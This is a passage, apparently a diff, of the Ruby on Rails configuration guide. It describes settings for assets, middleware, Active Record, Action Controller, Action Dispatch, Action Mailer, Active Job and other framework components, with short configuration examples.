public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory. + +* `config.session_store` specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Defaults to a cookie store with application name as the session key. Custom session stores can also be specified: + + ```ruby + config.session_store :my_custom_store + ``` + + This custom store must be defined as `ActionDispatch::Session::MyCustomStore`. + +* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. + +### Configuring Assets + +* `config.assets.enabled` a flag that controls whether the asset +pipeline is enabled. It is set to `true` by default. + +* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. + +* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively. + +* `config.assets.gzip` a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default. + +* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. + +* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run. + +* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `false`. + +* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`. + +* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder. + +* `config.assets.digest` enables the use of SHA256 fingerprints in asset names. Set to `true` by default. + +* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`. + +* `config.assets.version` is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled. + +* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production. + +* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging. + +* `config.assets.quiet` disables logging of assets requests. Set to `true` by default in `development.rb`. + +### Configuring Generators + +Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block: + +```ruby +config.generators do |g| + g.orm :active_record + g.test_framework :test_unit +end +``` + +The full set of methods that can be used in this block are as follows: + +* `assets` allows to create assets on generating a scaffold. Defaults to `true`. +* `force_plural` allows pluralized model names. Defaults to `false`. +* `helper` defines whether or not to generate helpers. Defaults to `true`. +* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`. +* `system_tests` defines which integration tool to use to generate system tests. Defaults to `:test_unit`. +* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default. +* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`. +* `resource_route` defines whether a resource route definition should be generated + or not. Defaults to `true`. +* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`. +* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`. +* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`. +* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`. +* `test_framework` defines which test framework to use. Defaults to `false` and will use minitest by default. +* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`. + +### Configuring Middleware + +Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: + +* `ActionDispatch::SSL` forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`. +* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`. +* `ActionDispatch::Executor` allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. +* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. +* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. +* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs. +* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless. +* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. +* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options. +* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`. +* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request. +* `ActionDispatch::Cookies` sets cookies for the request. +* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`. +* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value. +* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. +* `Rack::Head` converts HEAD requests to GET requests and serves them as so. + +Besides these usual middleware, you can add your own by using the `config.middleware.use` method: + +```ruby +config.middleware.use Magical::Unicorns +``` + +This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another. + +```ruby +config.middleware.insert_before Rack::Head, Magical::Unicorns +``` + +Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so: + +```ruby +config.middleware.insert_before 0, Magical::Unicorns +``` + +There's also `insert_after` which will insert a middleware after another: + +```ruby +config.middleware.insert_after Rack::Head, Magical::Unicorns +``` + +Middlewares can also be completely swapped out and replaced with others: + +```ruby +config.middleware.swap ActionController::Failsafe, Lifo::Failsafe +``` + +They can also be removed from the stack completely: + +```ruby +config.middleware.delete Rack::MethodOverride +``` + +### Configuring i18n + +All these configuration options are delegated to the `I18n` library. + +* `config.i18n.available_locales` defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. + +* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. + +* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. + +* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. + +* `config.i18n.fallbacks` sets fallback behavior for missing translations. Here are 3 usage examples for this option: + + * You can set the option to `true` for using default locale as fallback, like so: + + ```ruby + config.i18n.fallbacks = true + ``` + + * Or you can set an array of locales as fallback, like so: + + ```ruby + config.i18n.fallbacks = [:tr, :en] + ``` + + * Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so: + + ```ruby + config.i18n.fallbacks = { az: :tr, da: [:de, :en] } + #or + config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] } + ``` + +### Configuring Active Model + +* `config.active_model.i18n_full_message` is a boolean value which controls whether the `full_message` error format can be overridden at the attribute or model level in the locale files. This is `false` by default. + +### Configuring Active Record + +`config.active_record` includes a variety of configuration options: + +* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging. + +* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices: + * `:table_name` would make the primary key for the Customer class `customerid`. + * `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`. + +* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string. + +* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. + +* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. + +* `config.active_record.internal_metadata_table_name` lets you set a string to be used as the name of the internal metadata table. + +* `config.active_record.protected_environments` lets you set an array of names of environments where destructive actions should be prohibited. + +* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. + +* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`. + +* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. + +* `config.active_record.error_on_ignored_order` specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`. + +* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application. + +* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is `true` by default. + +* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:nsec`. + +* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`. + +* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. + +* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`. + +* `config.active_record.dump_schema_after_migration` is a flag which + controls whether or not schema dump should happen (`db/schema.rb` or + `db/structure.sql`) when you run migrations. This is set to `false` in + `config/environments/production.rb` which is generated by Rails. The + default value is `true` if this configuration is not set. + +* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling `db:structure:dump`. + The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`, + `:all` which always dumps all schemas regardless of the `schema_search_path`, + or a string of comma separated schemas. + +* `config.active_record.belongs_to_required_by_default` is a boolean value and + controls whether a record fails validation if `belongs_to` association is not + present. + +* `config.active_record.warn_on_records_fetched_greater_than` allows setting a + warning threshold for query result size. If the number of records returned + by a query exceeds the threshold, a warning is logged. This can be used to + identify queries which might be causing a memory bloat. + +* `config.active_record.index_nested_attribute_errors` allows errors for nested + `has_many` relationships to be displayed with an index as well as the error. + Defaults to `false`. + +* `config.active_record.use_schema_cache_dump` enables users to get schema cache information + from `db/schema_cache.yml` (generated by `rails db:schema:cache:dump`), instead of + having to send a query to the database to get this information. + Defaults to `true`. + +The MySQL adapter adds one additional configuration option: + +* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`. + +The PostgreSQL adapter adds one additional configuration option: + +* `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables` + controls whether database tables created should be "unlogged," which can speed + up performance but adds a risk of data loss if the database crashes. It is + highly recommended that you do not enable this in a production environment. + Defaults to `false` in all environments. + +The SQLite3Adapter adapter adds one additional configuration option: + +* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer` +indicates whether boolean values are stored in sqlite3 databases as 1 and 0 or +'t' and 'f'. Leaving `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer` +set to false is deprecated. SQLite databases have used 't' and 'f' to serialize +boolean values and must have old data converted to 1 and 0 (its native boolean +serialization) before setting this flag to true. Conversion can be accomplished +by setting up a Rake task which runs + + ```ruby + ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1) + ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0) + ``` + + for all models and all boolean columns, after which the flag must be set to true +by adding the following to your `application.rb` file: + + ```ruby + Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true + ``` + +The schema dumper adds two additional configuration options: + +* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. + +* `ActiveRecord::SchemaDumper.fk_ignore_pattern` allows setting a different regular + expression that will be used to decide whether a foreign key's name should be + dumped to db/schema.rb or not. By default, foreign key names starting with + `fk_rails_` are not exported to the database schema dump. + Defaults to `/^fk_rails_[0-9a-f]{10}$/`. + +### Configuring Action Controller + +`config.action_controller` includes a number of configuration settings: + +* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. + +* `config.action_controller.perform_caching` configures whether the application should perform the caching features provided by the Action Controller component or not. Set to `false` in development mode, `true` in production. + +* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`. + +* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller. + +* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging. + +* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default. + +* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. + +* `config.action_controller.forgery_protection_origin_check` configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense. + +* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for. + +* `config.action_controller.default_protect_from_forgery` determines whether forgery protection is added on `ActionController:Base`. This is false by default, but enabled when loading defaults for Rails 5.2. + +* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. + +* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. + +* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. + +* `config.action_controller.always_permitted_parameters` sets a list of permitted parameters that are permitted by default. The default values are `['controller', 'action']`. + +* `config.action_controller.enable_fragment_cache_logging` determines whether to log fragment cache reads and writes in verbose format as follows: + + ``` + Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms) + Rendered messages/_message.html.erb in 1.2 ms [cache hit] + Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms) + Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] + ``` + + By default it is set to `false` which results in following output: + + ``` + Rendered messages/_message.html.erb in 1.2 ms [cache hit] + Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] + ``` + +### Configuring Action Dispatch + +* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class. + +* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as: + + ```ruby + config.action_dispatch.default_headers = { + 'X-Frame-Options' => 'SAMEORIGIN', + 'X-XSS-Protection' => '1; mode=block', + 'X-Content-Type-Options' => 'nosniff', + 'X-Download-Options' => 'noopen', + 'X-Permitted-Cross-Domain-Policies' => 'none', + 'Referrer-Policy' => 'strict-origin-when-cross-origin' + } + ``` + +* `config.action_dispatch.default_charset` specifies the default character set for all renders. Defaults to `nil`. + +* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. + +* `config.action_dispatch.ignore_accept_header` is used to determine whether to ignore accept headers from a request. Defaults to `false`. + +* `config.action_dispatch.x_sendfile_header` specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache. + +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt + value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed + encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + +* `config.action_dispatch.authenticated_encrypted_cookie_salt` sets the + authenticated encrypted cookie salt. Defaults to `'authenticated encrypted + cookie'`. + +* `config.action_dispatch.encrypted_cookie_cipher` sets the cipher to be + used for encrypted cookies. This defaults to `"aes-256-gcm"`. + +* `config.action_dispatch.signed_cookie_digest` sets the digest to be + used for signed cookies. This defaults to `"SHA1"`. + +* `config.action_dispatch.cookies_rotations` allows rotating + secrets, ciphers, and digests for encrypted and signed cookies. + +* `config.action_dispatch.use_authenticated_cookie_encryption` controls whether + signed and encrypted cookies use the AES-256-GCM cipher or + the older AES-256-CBC cipher. It defaults to `true`. + +* `config.action_dispatch.use_cookies_with_metadata` enables writing + cookies with the purpose and expiry metadata embedded. It defaults to `true`. + +* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge` + method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) + for more information. It defaults to `true`. + +* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as: + + ```ruby + config.action_dispatch.rescue_responses = { + 'ActionController::RoutingError' => :not_found, + 'AbstractController::ActionNotFound' => :not_found, + 'ActionController::MethodNotAllowed' => :method_not_allowed, + 'ActionController::UnknownHttpMethod' => :method_not_allowed, + 'ActionController::NotImplemented' => :not_implemented, + 'ActionController::UnknownFormat' => :not_acceptable, + 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity, + 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity, + 'ActionDispatch::Http::Parameters::ParseError' => :bad_request, + 'ActionController::BadRequest' => :bad_request, + 'ActionController::ParameterMissing' => :bad_request, + 'Rack::QueryParser::ParameterTypeError' => :bad_request, + 'Rack::QueryParser::InvalidParameterError' => :bad_request, + 'ActiveRecord::RecordNotFound' => :not_found, + 'ActiveRecord::StaleObjectError' => :conflict, + 'ActiveRecord::RecordInvalid' => :unprocessable_entity, + 'ActiveRecord::RecordNotSaved' => :unprocessable_entity + } + ``` + + Any exceptions that are not configured will be mapped to 500 Internal Server Error. + +* `ActionDispatch::Callbacks.before` takes a block of code to run before the request. + +* `ActionDispatch::Callbacks.after` takes a block of code to run after the request. + +### Configuring Action View + +`config.action_view` includes a small number of configuration settings: + +* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. + +* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is + + ```ruby + Proc.new do |html_tag, instance| + %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe + end + ``` + +* `config.action_view.default_form_builder` tells Rails which form builder to + use by default. The default is `ActionView::Helpers::FormBuilder`. If you + want your form builder class to be loaded after initialization (so it's + reloaded on each request in development), you can pass it as a `String`. + +* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. + +* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information. + +* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to + set the default behavior for `authenticity_token` in forms with `remote: + true`. By default it's set to `false`, which means that remote forms will not + include `authenticity_token`, which is helpful when you're fragment-caching + the form. Remote forms get the authenticity from the `meta` tag, so embedding + is unnecessary unless you support browsers without JavaScript. In such case + you can either pass `authenticity_token: true` as a form option or set this + config setting to `true`. + +* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template: + + ```erb + <%= render @article %> + ``` + + The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`. + +* `config.action_view.raise_on_missing_translations` determines whether an + error should be raised for missing translations. + +* `config.action_view.automatically_disable_submit_tag` determines whether + `submit_tag` should automatically disable on click, this defaults to `true`. + +* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`. + +* `config.action_view.form_with_generates_remote_forms` determines whether `form_with` generates remote forms or not. This defaults to `true`. + +* `config.action_view.form_with_generates_ids` determines whether `form_with` generates ids on inputs. This defaults to `true`. + +* `config.action_view.default_enforce_utf8` determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8. This defaults to `false`. + +* `config.action_view.finalize_compiled_template_methods` determines + whether the methods on `ActionView::CompiledTemplates` that templates + compile themselves to are removed when template instances are + destroyed by the garbage collector. This helps prevent memory leaks in + development mode, but for large test suites, disabling this option in + the test environment can improve performance. This defaults to `true`. + +### Configuring Action Mailer + +There are a number of settings available on `config.action_mailer`: + +* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging. + +* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options: + * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting. + * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it. + * `:domain` - If you need to specify a HELO domain, you can do it here. + * `:user_name` - If your mail server requires authentication, set the username in this setting. + * `:password` - If your mail server requires authentication, set the password in this setting. + * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`. + * `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`. + * `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, `:none` or `:peer` -- or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively. + * `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection). + +* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options: + * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`. + * `:arguments` - The command line arguments. Defaults to `-i`. + +* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`. + +* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info. + +* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to `false` for testing. + +* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: + + ```ruby + mime_version: "1.0", + charset: "UTF-8", + content_type: "text/plain", + parts_order: ["text/plain", "text/enriched", "text/html"] + ``` + + Assign a hash to set additional options: + + ```ruby + config.action_mailer.default_options = { + from: "noreply@example.com" + } + ``` + +* `config.action_mailer.observers` registers observers which will be notified when mail is delivered. + + ```ruby + config.action_mailer.observers = ["MailObserver"] + ``` + +* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent. + + ```ruby + config.action_mailer.interceptors = ["MailInterceptor"] + ``` + +* `config.action_mailer.preview_interceptors` registers interceptors which will be called before mail is previewed. + + ```ruby + config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"] + ``` + +* `config.action_mailer.preview_path` specifies the location of mailer previews. + + ```ruby + config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" + ``` + +* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development. + + ```ruby + config.action_mailer.show_previews = false + ``` + +* `config.action_mailer.deliver_later_queue_name` specifies the queue name for + mailers. By default this is `mailers`. + +* `config.action_mailer.perform_caching` specifies whether the mailer templates should perform fragment caching or not. By default this is `false` in all environments. + + +### Configuring Active Support + +There are a few configuration options available in Active Support: + +* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded. + +* `config.active_support.test_order` sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`. + +* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`. + +* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`. + +* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`. + +* `config.active_support.use_sha1_digests` specifies whether to use SHA-1 instead of MD5 to generate non-sensitive digests, such as the ETag header. Defaults to false. + +* `config.active_support.use_authenticated_message_encryption` specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC. This is false by default, but enabled when loading defaults for Rails 5.2. + +* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`. + +* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations. + +* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails. + +* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced. + +* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings. + +### Configuring Active Job + +`config.active_job` provides the following configuration options: + +* `config.active_job.queue_adapter` sets the adapter for the queuing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). + + ```ruby + # Be sure to have the adapter's gem in your Gemfile + # and follow the adapter's specific installation + # and deployment instructions. + config.active_job.queue_adapter = :sidekiq + ``` + +* `config.active_job.default_queue_name` can be used to change the default queue name. By default this is `"default"`. + + ```ruby + config.active_job.default_queue_name = :medium_priority + ``` + +* `config.active_job.queue_name_prefix` allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used. + + The following configuration would queue the given job on the `production_high_priority` queue when run in production: + + ```ruby + config.active_job.queue_name_prefix = Rails.env + ``` + + ```ruby + class GuestsCleanupJob < ActiveJob::Base + queue_as :high_priority + #.... + end + ``` + +* `config.active_job.queue_name_delimiter` has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name. + + The following configuration would queue the provided job on the `video_server.low_priority` queue: + + ```ruby + # prefix must be set for delimiter to be used + config.active_job.queue_name_prefix = 'video_server' + config.active_job.queue_name_delimiter = '.' + ``` + + ```ruby + class EncoderJob < ActiveJob::Base + queue_as :low_priority + #.... + end + ``` + +* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging. + +* `config.active_job.custom_serializers` allows to set custom argument serializers. Defaults to `[]`. + +* `config.active_job.return_false_on_aborted_enqueue` change the return value of `#enqueue` to false instead of the job instance when the enqueuing is aborted. Defaults to `false`. + +### Configuring Action Cable + +* `config.action_cable.url` accepts a string for the URL for where + you are hosting your Action Cable server. You would use this option +if you are running Action Cable servers that are separated from your +main application. +* `config.action_cable.mount_path` accepts a string for where to mount Action + Cable, as part of the main server process. Defaults to `/cable`. +You can set this as nil to not mount Action Cable as part of your +normal Rails server. + + +### Configuring Active Storage + +`config.active_storage` provides the following configuration options: + +* `config.active_storage.variant_processor` accepts a symbol `:mini_magick` or `:vips`, specifying whether variant transformations will be performed with MiniMagick or ruby-vips. The default is `:mini_magick`. + +* `config.active_storage.analyzers` accepts an array of classes indicating the analyzers available for Active Storage blobs. The default is `[ActiveStorage::Analyzer::ImageAnalyzer, ActiveStorage::Analyzer::VideoAnalyzer]`. The former can extract width and height of an image blob; the latter can extract width, height, duration, angle, and aspect ratio of a video blob. + +* `config.active_storage.previewers` accepts an array of classes indicating the image previewers available in Active Storage blobs. The default is `[ActiveStorage::Previewer::PDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]`. The former can generate a thumbnail from the first page of a PDF blob; the latter from the relevant frame of a video blob. + +* `config.active_storage.paths` accepts a hash of options indicating the locations of previewer/analyzer commands. The default is `{}`, meaning the commands will be looked for in the default path. Can include any of these options: + * 